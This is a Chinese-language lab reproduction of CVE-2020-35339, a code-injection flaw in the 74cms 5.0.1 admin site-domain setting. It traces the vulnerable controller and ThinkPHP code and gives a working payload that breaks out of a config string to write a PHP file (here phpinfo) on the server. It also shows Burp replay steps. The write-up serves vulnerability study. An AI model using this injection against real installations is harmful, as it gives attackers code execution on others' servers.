74cms 任意代码执行(CVE-2020-35339) 0x01 漏洞简介 骑士人才系统是一项基于PHP+Mysql为核心开发的一套免费 + 开源专业人才招聘系统。由太原迅易科技有限公司于
骑士人才系统是一项基于PHP+Mysql为核心开发的一套免费 + 开源专业人才招聘系统。由太原迅易科技有限公司于2009年正式推出。为个人求职和企业招聘提供信息化解决方案, 骑士人才系统具备执行效率高、模板切换自由、后台管理功能灵活、模块功能强大等特点,自上线以来一直是职场人士、企业HR青睐的求职招聘平台。
74CMS 5.0.1
后台的账号密码都是 adminadmin
查看搭建的容器 docker ps -a
进入容器命令行中docker exec -it 镜像id /bin/bash
进入后发现文件都存储在app目录中
使用命令讲app文件夹压缩 zip -r app.zip /app
将文件从容器中移出docker cp 298:app.zip /home/test
docker cp 容器名:要拷贝的文件在容器里面的路径 要拷贝到宿主机的相应路径
根据漏洞详情:
In 74cms version 5.0.1, there is a remote code execution vulnerability in /Application/Admin/Controller/ConfiGController.class.php and /ThinkPHP/Common/functions.php where attackers can obtain server permissions and control the server…
大致得知漏洞点在 ConfigController.class.php
和functions.php
这两个文件中,还知道此版本的CMS使用了ThinkPHP3.32的框架,所以网页的路由规则是和ThinkPHP相似的。
首先,我们根据POC请求包中的URL来对漏洞文件进行定位:
public function edit(){ if(IS_POST){ $site_domain = I('request.site_domain','','trim'); $site_domain = trim($site_domain,'/'); $site_dir = I('request.site_dir',C('qscms_site_dir'),'trim'); $site_dir = $site_dir==''?'/':$site_dir; $site_dir = $site_dir=='/'?$site_dir:('/'.trim($site_dir,'/').'/'); $_POST['site_dir'] = $site_dir; if($site_domain && $site_domain != C('qscms_site_domain')){ if($site_domain == C('qscms_wap_domain')){ $this->returnMsg(0,'主域名不能与触屏版域名重复!'); } $str = str_replace('Http://','',$site_domain); $str = str_replace('https://','',$str); if(preg_match('/com.cn|net.cn|Gov.cn|org.cn$/',$str) === 1){ $domain = array_slice(explode('.', $str), -3, 3); }else{ $domain = array_slice(explode('.', $str), -2, 2); } $domain = '.'.implode('.',$domain); $config['SESSION_OPTIONS'] = array('domain'=>$domain); $config['COOKIE_DOMAIN'] = $domain; $this->update_config($config,CONF_PATH.'url.php'); } $logo_home = I('request.logo_home','','trim'); if(strpos($logo_home,'..')!==false){ $_POST['logo_home'] = ''; } // $logo_user = I('request.logo_user','','trim'); // if(strpos($logo_user,'..')!==false){ // $_POST['logo_user'] = ''; // } $logo_other = I('request.logo_other','','trim'); if(strpos($logo_other,'..')!==false){ $_POST['logo_other'] = ''; } if($default_district = I('post.default_district',0,'intval')){ $city = get_city_info($default_district); $_POST['default_district'] = $city['district']; $_POST['default_district_spell'] = $city['district_spell']; } } $this->_edit(); $this->display(); }
这里使用频率搞得是一个I()函数,函数位置在ThinkPHP\Common\functions.php
新版本的74CMS底层使用TP进行了重构,而该漏洞又涉及到I函数,所以我们这里先来介绍一下TP中的I函数,I函数的作用是获取系统变量,必要时还可以对变量值进行过滤及强制转化,I函数的语法格式:
I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])
其实这里的I()可以简单理解为Invoke(),它实现的功能就是调用若干个给定的方法filter对提交的数据input进行过滤。在我们提交网站配置的数据后,I()中会依次调用这几个方法:
trim(s1,s2);//移除s1左右两端的s2,如果存在htmlspecialchars(s1);//将s1中的特殊符号转换为html实体stripslashes(s1);//删除s1中的反斜杠strip_tags(s1);//删除s1中的php、js、html以及xml标签
function I($name,$default='',$filter=null,$datas=null) {static $_PUT=null;if(strpos($name,'/')){ // 指定修饰符list($name,$type) =explode('/',$name,2);}elseif(C('VAR_AUTO_STRING')){ // 默认强制转换为字符串 $type = 's'; } if(strpos($name,'.')) { // 指定参数来源 list($method,$name) = explode('.',$name,2); }else{ // 默认为自动判断 $method = 'param'; } switch(strtolower($method)) { case 'get' : $input =& $_GET; break; case 'post' : $input =& $_POST; break; case 'put' : if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input =$_PUT; break; case 'param' : switch($_SERVER['REQUEST_METHOD']) { case 'POST': $input = $_POST; break; case 'PUT': if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input =$_PUT; break; default: $input = $_GET; } break; case 'path' : $input = array(); if(!empty($_SERVER['PATH_INFO'])){ $depr = C('URL_PATHINFO_DEPR'); $input = explode($depr,trim($_SERVER['PATH_INFO'],$depr)); } break; case 'request' : $input =& $_REQUEST; break; case 'session' : $input =& $_SESSION; break; case 'cookie' : $input =& $_COOKIE; break; case 'server' : $input =& $_SERVER; break; case 'globals' : $input =& $GLOBALS; break; case 'data' : $input =& $datas; break; default: return null; } if(''==$name) { // 获取全部变量 $data = $input; $filters = isset($filter) ? $filter.','.C('DEFAULT_FILTER') : C('DEFAULT_FILTER'); //$filters = isset($filter)?$filter:C('DEFAULT_FILTER'); if($filters) { if(is_string($filters)){ $filters = explode(',',$filters); } foreach($filters as $filter){ $data = array_map_recursive($filter,$data); // 参数过滤 } } }elseif(isset($input[$name])) { // 取值操作 $data = $input[$name]; $filters = isset($filter) ? $filter.','.C('DEFAULT_FILTER') : C('DEFAULT_FILTER'); //$filters = isset($filter)?$filter:C('DEFAULT_FILTER'); if($filters) { if(is_string($filters)){ if(0 === strpos($filters,'/')){ if(1 !== preg_match($filters,(string)$data)){ // 支持正则验证 return isset($default) ? $default : null; } }else{ $filters = explode(',',$filters); } }elseif(is_int($filters)){ $filters = array($filters); } if(is_array($filters)){ foreach($filters as $filter){ if(function_exists($filter)) { $data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤 }else{ $data = filter_var($data,is_int($filter) ? $filter : filter_id($filter)); if(false === $data) {return isset($default) ? $default : null; } } } } } if(!empty($type)){ switch(strtolower($type)){ case 'a':// 数组 $data =(array)$data; break; case 'd':// 数字 $data =(int)$data; break; case 'f':// 浮点 $data =(float)$data; break; case 'b':// 布尔 $data =(boolean)$data; break; case 's': // 字符串 default: $data = (string)$data; } } }else{ // 变量默认值 $data = isset($default)?$default:null; } is_array($data) && array_walk_recursive($data,'think_filter'); return $data;}
继续跟进update_config函数,文件位置:Application\Common\Controller\BackendController.class.php
public function update_config($new_config, $config_file = '') { !is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php'; if (is_writable($config_file)) { $config = require $config_file; $config = multimerge($config, $new_config); if($config['SESSION_OPTIONS']){ $config['SESSION_OPTIONS']['path'] = SESSION_PATH; } file_put_contents($config_file, " . stripslashes(var_export($config, true)) . ";", LOCK_EX); @unlink(RUNTIME_FILE); return true; } else { return false; } }
在该函数中,首先判断configfile(Application/Common/Conf/url.php)
是否是一个文件,并对config_file的路径进行重定义(此处的HOME_CONFIG_PATH为:/Application/Home/Conf/
),之后判断文件是否可写,之后调用multimerge方法,在multimerge方法中进行一次类似于复制的操作将newconfig(我们恶意请求中的site_domain)中的内容复制到config_file中:
function multimerge($a, $b) { if (is_array($b) && count($b)) { foreach ($b as $k => $v) { if (is_array($v) && count($v)) { $a[$k] = in_array($k, array('SESSION_OPTIONS')) ? multimerge($a[$k], $v) : $v; } else { $a[$k] = $v; } } } else { $a = $b; } return $a;}
之后返回到BackendController.class.php中在L475行会进行一次写文件操作,var_export() : 用斜杠引用字符串&将特殊字符转换为 HTML 实体 -> stripslashes (): 取消引用带引号的字符串 -> 将特殊字符转换为 HTML 实体 -> 写入文件,其中config_file为Application/Common/Conf/url.php,内容config为我们恶意请求中的site_domain的内容,再次我们可以向Application/Common/Conf/url.php写入我们构造的恶意PHP代码。
尝试输入一个域名,可以发现它在处理网站域名的时候只取**“.”符号分割出来的最后两个,并且是以字符串的形式作为其中一个元素存在文件中的。如果要执行代码,我们应该让其作为一句php代码,而不是字符串单独存在。所以自然而然,很简单就可以使用“‘”闭合,用“,”**使其独立。
/Application/Home/Conf/url.php:“return array(...);”
后面的代码 不起作用,所以有效载荷是 site_domain=‘, {your php code},’,poc为
.', file_put_contents('404.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8%2b')),'.com
return array ( 'URL_MODEL' => 0, 'URL_HTML_SUFFIX' => '.html', 'URL_PATHINFO_DEPR' => '/', 'URL_ROUTER_ON' => true, 'URL_ROUTE_RULES' => array ( '/^jobfair\/(?!admin)(\w+)$/' => 'jobfair/index/:1', '/^mall\/(?!admin)(\w+)$/' => 'mall/index/:1', ), 'QSCMS_VERSION' => '5.0.1', 'QSCMS_RELEASE' => '2019-03-19 00:00:00', 'SESSION_OPTIONS' => array ( 'domain' => '.', file_put_contents('404.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+')),'', 'path' => '/app/data/session', ), 'COOKIE_DOMAIN' => '.', file_put_contents('404.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+')),'',);
可以看到我们构造的恶意代码已经独立出来,利用file_put_contents函数将我们的恶意代码写入到了我们生成的404.php文件中,在利用漏洞的最后一个阶段,我们只需要访问url.php,之后使其内部的代码执行即可实现写文件到当前目录下的404.php中。
这个漏洞主要在后台 系统-->网站域名
这存在一处命令执行的RCE
通过目录扫描发现了index.php文件,通过74cms后台地址,index.php?m=Admin&c=index&a=login
成功进入后台
使用burp进行抓包分析
将数据包发送到repeter模块
这里使用来检测漏洞,base64将其进行编码之后为:
PD9waHAgcGhwaW5mbygpOz8+
进行替换site_domain=', file_put_contents('404.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8%2b')),'
然后执行http://192.168.237.129:59582//Application/Common/Conf/url.php
使得恶意代码执行
访问http://192.168.237.129:59582//Application/Common/Conf/404.php
https://cloud.tencent.com/developer/article/1850882
https://blog.csdn.net/qq_41252520/article/details/113850389
来源地址:https://blog.csdn.net/weixin_44047654/article/details/127976359
--结束END--
本文标题: 74cms 任意代码执行(CVE-2020-35339)
本文链接: https://lsjlt.com/news/415495.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0